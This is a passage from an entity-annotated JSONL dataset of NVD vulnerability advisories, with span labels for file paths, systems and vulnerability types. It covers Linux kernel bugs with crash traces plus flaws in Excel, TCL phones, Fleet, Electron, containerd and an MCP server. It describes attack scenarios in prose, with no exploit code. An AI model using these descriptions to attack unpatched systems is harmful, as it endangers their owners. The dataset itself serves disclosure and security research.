1539], [1579, 1590]], "FILEPATH: kthread.c": [[1623, 1632]], "FILEPATH: socket.c": [[2521, 2529], [2559, 2567], [2606, 2614], [2665, 2673]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[640, 646], [647, 653], [669, 675], [697, 703]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49775"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: do not BUG_ON in link_to_fixup_dir\n\nWhile doing error injection testing I got the following panic\n\n  kernel BUG at fs/btrfs/tree-log.c:1862!\n  invalid opcode: 0000 [#1] SMP NOPTI\n  CPU: 1 PID: 7836 Comm: mount Not tainted 5.13.0-rc1+ #305\n  Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014\n  RIP: 0010:link_to_fixup_dir+0xd5/0xe0\n  RSP: 0018:ffffb5800180fa30 EFLAGS: 00010216\n  RAX: fffffffffffffffb RBX: 00000000fffffffb RCX: ffff8f595287faf0\n  RDX: ffffb5800180fa37 RSI: ffff8f5954978800 RDI: 0000000000000000\n  RBP: ffff8f5953af9450 R08: 0000000000000019 R09: 0000000000000001\n  R10: 000151f408682970 R11: 0000000120021001 R12: ffff8f5954978800\n  R13: ffff8f595287faf0 R14: ffff8f5953c77dd0 R15: 0000000000000065\n  FS:  00007fc5284c8c40(0000) GS:ffff8f59bbd00000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 00007fc5287f47c0 CR3: 000000011275e002 CR4: 0000000000370ee0\n  Call Trace:\n   replay_one_buffer+0x409/0x470\n   ? btree_read_extent_buffer_pages+0xd0/0x110\n   walk_up_log_tree+0x157/0x1e0\n   walk_log_tree+0xa6/0x1d0\n   btrfs_recover_log_trees+0x1da/0x360\n   ? replay_one_extent+0x7b0/0x7b0\n   open_ctree+0x1486/0x1720\n   btrfs_mount_root.cold+0x12/0xea\n   ? __kmalloc_track_caller+0x12f/0x240\n   legacy_get_tree+0x24/0x40\n   vfs_get_tree+0x22/0xb0\n   vfs_kern_mount.part.0+0x71/0xb0\n   btrfs_mount+0x10d/0x380\n   ? vfs_parse_fs_string+0x4d/0x90\n   legacy_get_tree+0x24/0x40\n   vfs_get_tree+0x22/0xb0\n   path_mount+0x433/0xa10\n   __x64_sys_mount+0xe3/0x120\n   do_syscall_64+0x3d/0x80\n   entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nWe can get -EIO or any number of legitimate errors from\nbtrfs_search_slot(), panicing here is not the appropriate response.  The\nerror path for this code handles errors properly, simply return the\nerror.", "spans": {"FILEPATH: /btrfs/tree-log.c": [[193, 210]], "FILEPATH: /01/2014": [[390, 398]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[332, 336]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47145"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvfio/pci: fix memory leak during D3hot to D0 transition\n\nIf 'vfio_pci_core_device::needs_pm_restore' is set (PCI device does\nnot have No_Soft_Reset bit set in its PMCSR config register), then\nthe current PCI state will be saved locally in\n'vfio_pci_core_device::pm_save' during D0->D3hot transition and same\nwill be restored back during D3hot->D0 transition.\nFor saving the PCI state locally, pci_store_saved_state() is being\nused and the pci_load_and_free_saved_state() will free the allocated\nmemory.\n\nBut for reset related IOCTLs, vfio driver calls PCI reset-related\nAPI's which will internally change the PCI power state back to D0. So,\nwhen the guest resumes, then it will get the current state as D0 and it\nwill skip the call to vfio_pci_set_power_state() for changing the\npower state to D0 explicitly. In this case, the memory pointed by\n'pm_save' will never be freed. In a malicious sequence, the state changing\nto D3hot followed by VFIO_DEVICE_RESET/VFIO_DEVICE_PCI_HOT_RESET can be\nrun in a loop and it can cause an OOM situation.\n\nThis patch frees the earlier allocated memory first before overwriting\n'pm_save' to prevent the mentioned memory leak.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[83, 94], [1217, 1228]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49219"}}
{"text": "<p>A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user. If the current user is logged on with administrative user rights, an attacker could take control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.</p>\n<p>Exploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Excel. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) containing a specially crafted file designed to exploit the vulnerability. An attacker would have no way to force users to visit the website. Instead, an attacker would have to convince users to click a link, typically by way of an enticement in an email or instant message, and then convince them to open the specially crafted file.</p>\n<p>The security update addresses the vulnerability by correcting how Microsoft Excel handles objects in memory.</p>", "spans": {"ORGANIZATION: Microsoft": [[51, 60], [769, 778], [1503, 1512]], "VULNERABILITY: remote code execution": [[5, 26]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1332"}}
{"text": "Various software builds for the following TCL 30Z and TCL A3X devices leak the ICCID to a system property that can be accessed by any local app on the device without any permissions or special privileges. Google restricted third-party apps from directly obtaining non-resettable device identifiers in Android 10 and higher, but in these instances they are leaked by a high-privilege process and can be obtained indirectly. The software build fingerprints for each confirmed vulnerable device are as follows: TCL 30Z (TCL/4188R/Jetta_ATT:12/SP1A.210812.016/LV8E:user/release-keys, TCL/T602DL/Jetta_TF:12/SP1A.210812.016/vU5P:user/release-keys, TCL/T602DL/Jetta_TF:12/SP1A.210812.016/vU61:user/release-keys, TCL/T602DL/Jetta_TF:12/SP1A.210812.016/vU66:user/release-keys, TCL/T602DL/Jetta_TF:12/SP1A.210812.016/vU68:user/release-keys, TCL/T602DL/Jetta_TF:12/SP1A.210812.016/vU6P:user/release-keys, and TCL/T602DL/Jetta_TF:12/SP1A.210812.016/vU6X:user/release-keys) and TCL A3X (TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vAAZ:user/release-keys, TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vAB3:user/release-keys, TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vAB7:user/release-keys, TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vABA:user/release-keys, TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vABM:user/release-keys, TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vABP:user/release-keys, and TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vABS:user/release-keys). This malicious app reads from the \"persist.sys.tctPowerIccid\" system property to indirectly obtain the ICCID.", "spans": {"FILEPATH: /4188R/Jetta_ATT": [[520, 536]], "FILEPATH: /SP1A.210812.016/LV8E": [[539, 560]], "FILEPATH: /T602DL/Jetta_TF": [[583, 599], [646, 662], [709, 725], [772, 788], [835, 851], [902, 918]], "FILEPATH: /SP1A.210812.016/vU5P": [[602, 623]], "FILEPATH: /SP1A.210812.016/vU61": [[665, 686]], "FILEPATH: /SP1A.210812.016/vU66": [[728, 749]], "FILEPATH: /SP1A.210812.016/vU68": [[791, 812]], "FILEPATH: /SP1A.210812.016/vU6P": [[854, 875]], "FILEPATH: /SP1A.210812.016/vU6X": [[921, 942]], "FILEPATH: /A600DL/Delhi_TF": [[978, 994], [1041, 1057], [1104, 1120], [1167, 1183], [1230, 1246], [1293, 1309], [1360, 1376]], "FILEPATH: /RKQ1.201202.002/vAAZ": [[997, 1018]], "FILEPATH: /RKQ1.201202.002/vAB3": [[1060, 1081]], "FILEPATH: /RKQ1.201202.002/vAB7": [[1123, 1144]], "FILEPATH: /RKQ1.201202.002/vABA": [[1186, 1207]], "FILEPATH: /RKQ1.201202.002/vABM": [[1249, 1270]], "FILEPATH: /RKQ1.201202.002/vABP": [[1312, 1333]], "FILEPATH: /RKQ1.201202.002/vABS": [[1379, 1400]], "SYSTEM: Android": [[301, 308]], "ORGANIZATION: Google": [[205, 211]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-38296"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: hugetlb: independent PMD page table shared count\n\nThe folio refcount may be increased unexpectly through try_get_folio() by\ncaller such as split_huge_pages.  In huge_pmd_unshare(), we use refcount\nto check whether a pmd page table is shared.  The check is incorrect if\nthe refcount is increased by the above caller, and this can cause the page\ntable leaked:\n\n BUG: Bad page state in process sh  pfn:109324\n page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x66 pfn:0x109324\n flags: 0x17ffff800000000(node=0|zone=2|lastcpupid=0xfffff)\n page_type: f2(table)\n raw: 017ffff800000000 0000000000000000 0000000000000000 0000000000000000\n raw: 0000000000000066 0000000000000000 00000000f2000000 0000000000000000\n page dumped because: nonzero mapcount\n ...\n CPU: 31 UID: 0 PID: 7515 Comm: sh Kdump: loaded Tainted: G    B              6.13.0-rc2master+ #7\n Tainted: [B]=BAD_PAGE\n Hardware name: QEMU KVM Virtual Machine, BIOS 0.0.0 02/06/2015\n Call trace:\n  show_stack+0x20/0x38 (C)\n  dump_stack_lvl+0x80/0xf8\n  dump_stack+0x18/0x28\n  bad_page+0x8c/0x130\n  free_page_is_bad_report+0xa4/0xb0\n  free_unref_page+0x3cc/0x620\n  __folio_put+0xf4/0x158\n  split_huge_pages_all+0x1e0/0x3e8\n  split_huge_pages_write+0x25c/0x2d8\n  full_proxy_write+0x64/0xd8\n  vfs_write+0xcc/0x280\n  ksys_write+0x70/0x110\n  __arm64_sys_write+0x24/0x38\n  invoke_syscall+0x50/0x120\n  el0_svc_common.constprop.0+0xc8/0xf0\n  do_el0_svc+0x24/0x38\n  el0_svc+0x34/0x128\n  el0t_64_sync_handler+0xc8/0xd0\n  el0t_64_sync+0x190/0x198\n\nThe issue may be triggered by damon, offline_page, page_idle, etc, which\nwill increase the refcount of page table.\n\n1. The page table itself will be discarded after reporting the\n   \"nonzero mapcount\".\n\n2. The HugeTLB page mapped by the page table miss freeing since we\n   treat the page table as shared and a shared page table will not be\n   unmapped.\n\nFix it by introducing independent PMD page table shared count.  As\ndescribed by comment, pt_index/pt_mm/pt_frag_refcount are used for s390\ngmap, x86 pgds and powerpc, pt_share_count is used for x86/arm64/riscv\npmds, so we can reuse the field as pt_share_count.", "spans": {"FILEPATH: /06/2015": [[1008, 1016]], "FILEPATH: /pt_mm/pt_frag_refcount": [[2021, 2044]], "FILEPATH: /arm64/riscv": [[2121, 2133]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[969, 973]], "SYSTEM: KVM": [[974, 977]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-57883"}}
{"text": "Fleet is open source device management software. In versions prior to 4.80.1, Fleet generated device lock and wipe PINs using a predictable algorithm based solely on the current Unix timestamp. Because no secret key or additional entropy was used, the resulting PIN could potentially be derived if the approximate time the device was locked is known. Fleet’s device lock and wipe commands generate a 6-digit PIN that is displayed to administrators for unlocking a device. In affected versions, this PIN was deterministically derived from the current timestamp. An attacker with physical possession of a locked device and knowledge of the approximate time the lock command was issued could theoretically predict the correct PIN within a limited search window. However, successful exploitation is constrained by multiple factors: Physical access to the device is required, the approximate lock time must be known, the operating system enforces rate limiting on PIN entry attempts, attempts would need to be spread over, and device wipe operations would typically complete before sufficient attempts could be made. As a result, this issue does not allow remote exploitation, fleet-wide compromise, or bypass of Fleet authentication controls. Version 4.80.1 contains a patch. No known workarounds are available.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23999"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/9p: fix uninit-value in p9_client_rpc()\n\nSyzbot with the help of KMSAN reported the following error:\n\nBUG: KMSAN: uninit-value in trace_9p_client_res include/trace/events/9p.h:146 [inline]\nBUG: KMSAN: uninit-value in p9_client_rpc+0x1314/0x1340 net/9p/client.c:754\n trace_9p_client_res include/trace/events/9p.h:146 [inline]\n p9_client_rpc+0x1314/0x1340 net/9p/client.c:754\n p9_client_create+0x1551/0x1ff0 net/9p/client.c:1031\n v9fs_session_init+0x1b9/0x28e0 fs/9p/v9fs.c:410\n v9fs_mount+0xe2/0x12b0 fs/9p/vfs_super.c:122\n legacy_get_tree+0x114/0x290 fs/fs_context.c:662\n vfs_get_tree+0xa7/0x570 fs/super.c:1797\n do_new_mount+0x71f/0x15e0 fs/namespace.c:3352\n path_mount+0x742/0x1f20 fs/namespace.c:3679\n do_mount fs/namespace.c:3692 [inline]\n __do_sys_mount fs/namespace.c:3898 [inline]\n __se_sys_mount+0x725/0x810 fs/namespace.c:3875\n __x64_sys_mount+0xe4/0x150 fs/namespace.c:3875\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nUninit was created at:\n __alloc_pages+0x9d6/0xe70 mm/page_alloc.c:4598\n __alloc_pages_node include/linux/gfp.h:238 [inline]\n alloc_pages_node include/linux/gfp.h:261 [inline]\n alloc_slab_page mm/slub.c:2175 [inline]\n allocate_slab mm/slub.c:2338 [inline]\n new_slab+0x2de/0x1400 mm/slub.c:2391\n ___slab_alloc+0x1184/0x33d0 mm/slub.c:3525\n __slab_alloc mm/slub.c:3610 [inline]\n __slab_alloc_node mm/slub.c:3663 [inline]\n slab_alloc_node mm/slub.c:3835 [inline]\n kmem_cache_alloc+0x6d3/0xbe0 mm/slub.c:3852\n p9_tag_alloc net/9p/client.c:278 [inline]\n p9_client_prepare_req+0x20a/0x1770 net/9p/client.c:641\n p9_client_rpc+0x27e/0x1340 net/9p/client.c:688\n p9_client_create+0x1551/0x1ff0 net/9p/client.c:1031\n v9fs_session_init+0x1b9/0x28e0 fs/9p/v9fs.c:410\n v9fs_mount+0xe2/0x12b0 fs/9p/vfs_super.c:122\n legacy_get_tree+0x114/0x290 fs/fs_context.c:662\n vfs_get_tree+0xa7/0x570 fs/super.c:1797\n do_new_mount+0x71f/0x15e0 fs/namespace.c:3352\n path_mount+0x742/0x1f20 fs/namespace.c:3679\n do_mount fs/namespace.c:3692 [inline]\n __do_sys_mount fs/namespace.c:3898 [inline]\n __se_sys_mount+0x725/0x810 fs/namespace.c:3875\n __x64_sys_mount+0xe4/0x150 fs/namespace.c:3875\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nIf p9_check_errors() fails early in p9_client_rpc(), req->rc.tag\nwill not be properly initialized. However, trace_9p_client_res()\nends up trying to print it out anyway before p9_client_rpc()\nfinishes.\n\nFix this issue by assigning default values to p9_fcall fields\nsuch as 'tag' and (just in case KMSAN unearths something new) 'id'\nduring the tag allocation stage.", "spans": {"FILEPATH: /trace/events/9p.h": [[230, 248], [366, 384]], "FILEPATH: /9p/client.c": [[321, 333], [430, 442], [482, 494], [1547, 1559], [1612, 1624], [1660, 1672], [1712, 1724]], "FILEPATH: /9p/v9fs.c": [[534, 544], [1764, 1774]], "FILEPATH: /9p/vfs_super.c": [[575, 590], [1805, 1820]], "FILEPATH: /linux/gfp.h": [[1124, 1136], [1175, 1187]], "FILEPATH: fs_context.c": [[627, 639], [1857, 1869]], "FILEPATH: super.c": [[672, 679], [1902, 1909]], "FILEPATH: namespace.c": [[715, 726], [760, 771], [790, 801], [835, 846], [892, 903], [940, 951], [1945, 1956], [1990, 2001], [2020, 2031], [2065, 2076], [2122, 2133], [2170, 2181]], "FILEPATH: page_alloc.c": [[1079, 1091]], "FILEPATH: slub.c": [[1221, 1227], [1260, 1266], [1307, 1313], [1351, 1357], [1380, 1386], [1423, 1429], [1464, 1470], [1518, 1524]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39301"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. Optimized pooling implementations in TFLite fail to check that the stride arguments are not 0 before calling `ComputePaddingHeightWidth`(https://github.com/tensorflow/tensorflow/blob/3f24ccd932546416ec906a02ddd183b48a1d2c83/tensorflow/lite/kernels/pooling.cc#L90). Since users can craft special models which will have `params->stride_{height,width}` be zero, this will result in a division by zero. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/3f24ccd932546416ec906a02ddd183b48a1d2c83/tensorflow/lite/kernels/pooling.cc#L90": [[208, 333]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29586"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/notify: call exportfs_encode_fid with s_umount\n\nCalling intotify_show_fdinfo() on fd watching an overlayfs inode, while\nthe overlayfs is being unmounted, can lead to dereferencing NULL ptr.\n\nThis issue was found by syzkaller.\n\nRace Condition Diagram:\n\nThread 1                           Thread 2\n--------                           --------\n\ngeneric_shutdown_super()\n shrink_dcache_for_umount\n  sb->s_root = NULL\n\n                    |\n                    |             vfs_read()\n                    |              inotify_fdinfo()\n                    |               * inode get from mark *\n                    |               show_mark_fhandle(m, inode)\n                    |                exportfs_encode_fid(inode, ..)\n                    |                 ovl_encode_fh(inode, ..)\n                    |                  ovl_check_encode_origin(inode)\n                    |                   * deref i_sb->s_root *\n                    |\n                    |\n                    v\n fsnotify_sb_delete(sb)\n\nWhich then leads to:\n\n[   32.133461] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000006: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN NOPTI\n[   32.134438] KASAN: null-ptr-deref in range [0x0000000000000030-0x0000000000000037]\n[   32.135032] CPU: 1 UID: 0 PID: 4468 Comm: systemd-coredum Not tainted 6.17.0-rc6 #22 PREEMPT(none)\n\n<snip registers, unreliable trace>\n\n[   32.143353] Call Trace:\n[   32.143732]  ovl_encode_fh+0xd5/0x170\n[   32.144031]  exportfs_encode_inode_fh+0x12f/0x300\n[   32.144425]  show_mark_fhandle+0xbe/0x1f0\n[   32.145805]  inotify_fdinfo+0x226/0x2d0\n[   32.146442]  inotify_show_fdinfo+0x1c5/0x350\n[   32.147168]  seq_show+0x530/0x6f0\n[   32.147449]  seq_read_iter+0x503/0x12a0\n[   32.148419]  seq_read+0x31f/0x410\n[   32.150714]  vfs_read+0x1f0/0x9e0\n[   32.152297]  ksys_read+0x125/0x240\n\nIOW ovl_check_encode_origin derefs inode->i_sb->s_root, after it was set\nto NULL in the unmount path.\n\nFix it by protecting calling exportfs_encode_fid() from\nshow_mark_fhandle() with s_umount lock.\n\nThis form of fix was suggested by Amir in [1].\n\n[1]: https://lore.kernel.org/all/CAOQ4uxhbDwhb+2Brs1UdkoF0a3NSdBAOQPNfEHjahrgoKJpLEw@mail.gmail.com/", "spans": {"URL: https://lore.kernel.org/all/CAOQ4uxhbDwhb+2Brs1UdkoF0a3NSdBAOQPNfEHjahrgoKJpLEw@mail.gmail.com/": [[2177, 2272]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[1380, 1387]], "VULNERABILITY: Race Condition": [[299, 313]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40237"}}
{"text": "An issue was discovered on OnePlus 7 Pro devices before 10.0.3.GM21BA. The firmware was found to contain functionality that allows a privileged user (root) in the Rich Execution Environment (REE) to obtain bitmap images from the fingerprint sensor because of Leftover Debug Code. The issue is that the Trusted Application (TA) supports an extended number of commands beyond what is needed to implement a fingerprint authentication system compatible with Android. An attacker who is in the position to send commands to the TA (for example, the root user) is able to send a sequence of these commands that will result in the TA sending a raw fingerprint image to the REE. This means that the Trusted Execution Environment (TEE) no longer protects identifiable fingerprint data from the REE.", "spans": {"SYSTEM: Android": [[454, 461]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-7958"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: move memblock_allow_resize() after linear mapping is ready\n\nThe initial memblock metadata is accessed from kernel image mapping. The\nregions arrays need to \"reallocated\" from memblock and accessed through\nlinear mapping to cover more memblock regions. So the resizing should\nnot be allowed until linear mapping is ready. Note that there are\nmemblock allocations when building linear mapping.\n\nThis patch is similar to 24cc61d8cb5a (\"arm64: memblock: don't permit\nmemblock resizing until linear mapping is up\").\n\nIn following log, many memblock regions are reserved before\ncreate_linear_mapping_page_table(). And then it triggered reallocation\nof memblock.reserved.regions and memcpy the old array in kernel image\nmapping to the new array in linear mapping which caused a page fault.\n\n[    0.000000] memblock_reserve: [0x00000000bf01f000-0x00000000bf01ffff] early_init_fdt_scan_reserved_mem+0x28c/0x2c6\n[    0.000000] memblock_reserve: [0x00000000bf021000-0x00000000bf021fff] early_init_fdt_scan_reserved_mem+0x28c/0x2c6\n[    0.000000] memblock_reserve: [0x00000000bf023000-0x00000000bf023fff] early_init_fdt_scan_reserved_mem+0x28c/0x2c6\n[    0.000000] memblock_reserve: [0x00000000bf025000-0x00000000bf025fff] early_init_fdt_scan_reserved_mem+0x28c/0x2c6\n[    0.000000] memblock_reserve: [0x00000000bf027000-0x00000000bf027fff] early_init_fdt_scan_reserved_mem+0x28c/0x2c6\n[    0.000000] memblock_reserve: [0x00000000bf029000-0x00000000bf029fff] early_init_fdt_scan_reserved_mem+0x28c/0x2c6\n[    0.000000] memblock_reserve: [0x00000000bf02b000-0x00000000bf02bfff] early_init_fdt_scan_reserved_mem+0x28c/0x2c6\n[    0.000000] memblock_reserve: [0x00000000bf02d000-0x00000000bf02dfff] early_init_fdt_scan_reserved_mem+0x28c/0x2c6\n[    0.000000] memblock_reserve: [0x00000000bf02f000-0x00000000bf02ffff] early_init_fdt_scan_reserved_mem+0x28c/0x2c6\n[    0.000000] memblock_reserve: [0x00000000bf030000-0x00000000bf030fff] early_init_fdt_scan_reserved_mem+0x28c/0x2c6\n[    0.000000] OF: reserved mem: 0x0000000080000000..0x000000008007ffff (512 KiB) map non-reusable mmode_resv0@80000000\n[    0.000000] memblock_reserve: [0x00000000bf000000-0x00000000bf001fed] paging_init+0x19a/0x5ae\n[    0.000000] memblock_phys_alloc_range: 4096 bytes align=0x1000 from=0x0000000000000000 max_addr=0x0000000000000000 alloc_pmd_fixmap+0x14/0x1c\n[    0.000000] memblock_reserve: [0x000000017ffff000-0x000000017fffffff] memblock_alloc_range_nid+0xb8/0x128\n[    0.000000] memblock: reserved is doubled to 256 at [0x000000017fffd000-0x000000017fffe7ff]\n[    0.000000] Unable to handle kernel paging request at virtual address ff600000ffffd000\n[    0.000000] Oops [#1]\n[    0.000000] Modules linked in:\n[    0.000000] CPU: 0 PID: 0 Comm: swapper Not tainted 6.4.0-rc1-00011-g99a670b2069c #66\n[    0.000000] Hardware name: riscv-virtio,qemu (DT)\n[    0.000000] epc : __memcpy+0x60/0xf8\n[    0.000000]  ra : memblock_double_array+0x192/0x248\n[    0.000000] epc : ffffffff8081d214 ra : ffffffff80a3dfc0 sp : ffffffff81403bd0\n[    0.000000]  gp : ffffffff814fbb38 tp : ffffffff8140dac0 t0 : 0000000001600000\n[    0.000000]  t1 : 0000000000000000 t2 : 000000008f001000 s0 : ffffffff81403c60\n[    0.000000]  s1 : ffffffff80c0bc98 a0 : ff600000ffffd000 a1 : ffffffff80c0bcd8\n[    0.000000]  a2 : 0000000000000c00 a3 : ffffffff80c0c8d8 a4 : 0000000080000000\n[    0.000000]  a5 : 0000000000080000 a6 : 0000000000000000 a7 : 0000000080200000\n[    0.000000]  s2 : ff600000ffffd000 s3 : 0000000000002000 s4 : 0000000000000c00\n[    0.000000]  s5 : ffffffff80c0bc60 s6 : ffffffff80c0bcc8 s7 : 0000000000000000\n[    0.000000]  s8 : ffffffff814fd0a8 s9 : 000000017fffe7ff s10: 0000000000000000\n[    0.000000]  s11: 0000000000001000 t3 : 0000000000001000 t4 : 0000000000000000\n[    0.000000]  t5 : 000000008f003000 t6 : ff600000ffffd000\n[    0.000000] status: 0000000200000100 badaddr: ff600000ffffd000 cause: 000000000000000f\n[    0.000000] [<fff\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53699"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npds_core: Fix pdsc_check_pci_health function to use work thread\n\nWhen the driver notices fw_status == 0xff it tries to perform a PCI\nreset on itself via pci_reset_function() in the context of the driver's\nhealth thread. However, pdsc_reset_prepare calls\npdsc_stop_health_thread(), which attempts to stop/flush the health\nthread. This results in a deadlock because the stop/flush will never\ncomplete since the driver called pci_reset_function() from the health\nthread context. Fix by changing the pdsc_check_pci_health_function()\nto queue a newly introduced pdsc_pci_reset_thread() on the pdsc's\nwork queue.\n\nUnloading the driver in the fw_down/dead state uncovered another issue,\nwhich can be seen in the following trace:\n\nWARNING: CPU: 51 PID: 6914 at kernel/workqueue.c:1450 __queue_work+0x358/0x440\n[...]\nRIP: 0010:__queue_work+0x358/0x440\n[...]\nCall Trace:\n <TASK>\n ? __warn+0x85/0x140\n ? __queue_work+0x358/0x440\n ? report_bug+0xfc/0x1e0\n ? handle_bug+0x3f/0x70\n ? exc_invalid_op+0x17/0x70\n ? asm_exc_invalid_op+0x1a/0x20\n ? __queue_work+0x358/0x440\n queue_work_on+0x28/0x30\n pdsc_devcmd_locked+0x96/0xe0 [pds_core]\n pdsc_devcmd_reset+0x71/0xb0 [pds_core]\n pdsc_teardown+0x51/0xe0 [pds_core]\n pdsc_remove+0x106/0x200 [pds_core]\n pci_device_remove+0x37/0xc0\n device_release_driver_internal+0xae/0x140\n driver_detach+0x48/0x90\n bus_remove_driver+0x6d/0xf0\n pci_unregister_driver+0x2e/0xa0\n pdsc_cleanup_module+0x10/0x780 [pds_core]\n __x64_sys_delete_module+0x142/0x2b0\n ? syscall_trace_enter.isra.18+0x126/0x1a0\n do_syscall_64+0x3b/0x90\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\nRIP: 0033:0x7fbd9d03a14b\n[...]\n\nFix this by preventing the devcmd reset if the FW is not running.", "spans": {"FILEPATH: workqueue.c": [[829, 840]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35968"}}
{"text": "Apollo MCP Server is a Model Context Protocol server that exposes GraphQL operations as MCP tools. Prior to version 1.7.0, the Apollo MCP Server did not validate the Host header on incoming HTTP requests when using StreamableHTTP transport. In configurations where an HTTP-based MCP server is run on localhost without additional authentication or network-level controls, this could potentially allow a malicious website—visited by a user running the server locally—to use DNS rebinding techniques to bypass same-origin policy restrictions and issue requests to the local MCP server. If successfully exploited, this could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the local user. This issue is limited to HTTP-based transport modes (StreamableHTTP). It does not affect servers using stdio transport. The practical risk is further reduced in deployments that use authentication, network-level access controls, or are not bound to localhost. This vulnerability is fixed in 1.7.0.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35577"}}
{"text": "Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. From versions 39.0.0-alpha.1 to before 39.8.0, 40.0.0-alpha.1 to before 40.7.0, and 41.0.0-alpha.1 to before 41.0.0-beta.8, apps that pass VideoFrame objects (from the WebCodecs API) across the contextBridge are vulnerable to a context isolation bypass. An attacker who can execute JavaScript in the main world (for example, via XSS) can use a bridged VideoFrame to gain access to the isolated world, including any Node.js APIs exposed to the preload script. Apps are only affected if a preload script returns, resolves, or passes a VideoFrame object to the main world via contextBridge.exposeInMainWorld(). Apps that do not bridge VideoFrame objects are not affected. This issue has been patched in versions 39.8.0, 40.7.0, and 41.0.0-beta.8.", "spans": {"FILEPATH: Node.js": [[519, 526]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34780"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions the implementation of `tf.raw_ops.QuantizeAndDequantizeV4Grad` is vulnerable to an integer overflow issue caused by converting a signed integer value to an unsigned one and then allocating memory based on this value. The [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L126) uses the `axis` value as the size argument to `absl::InlinedVector` constructor. But, the constructor uses an unsigned type for the argument, so the implicit conversion transforms the negative value to a large integer. We have patched the issue in GitHub commit 96f364a1ca3009f98980021c4b32be5fdcca33a1. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, and TensorFlow 2.4.3, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L126": [[330, 475]], "HASH: 96f364a1ca3009f98980021c4b32be5fdcca33a1": [[739, 779]], "ORGANIZATION: GitHub": [[725, 731]], "VULNERABILITY: integer overflow": [[175, 191]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37645"}}
{"text": "containerd is an open source container runtime. On installations using SELinux, such as EL8 (CentOS, RHEL), Fedora, or SUSE MicroOS, with containerd since v1.5.0-beta.0 as the backing container runtime interface (CRI), an unprivileged pod scheduled to the node may bind mount, via hostPath volume, any privileged, regular file on disk for complete read/write access (sans delete). Such is achieved by placing the in-container location of the hostPath volume mount at either `/etc/hosts`, `/etc/hostname`, or `/etc/resolv.conf`. These locations are being relabeled indiscriminately to match the container process-label which effectively elevates permissions for savvy containers that would not normally be able to access privileged host files. This issue has been resolved in version 1.5.9. Users are advised to upgrade as soon as possible.", "spans": {"FILEPATH: /etc/hosts": [[475, 485]], "FILEPATH: /etc/hostname": [[489, 502]], "FILEPATH: /etc/resolv.conf": 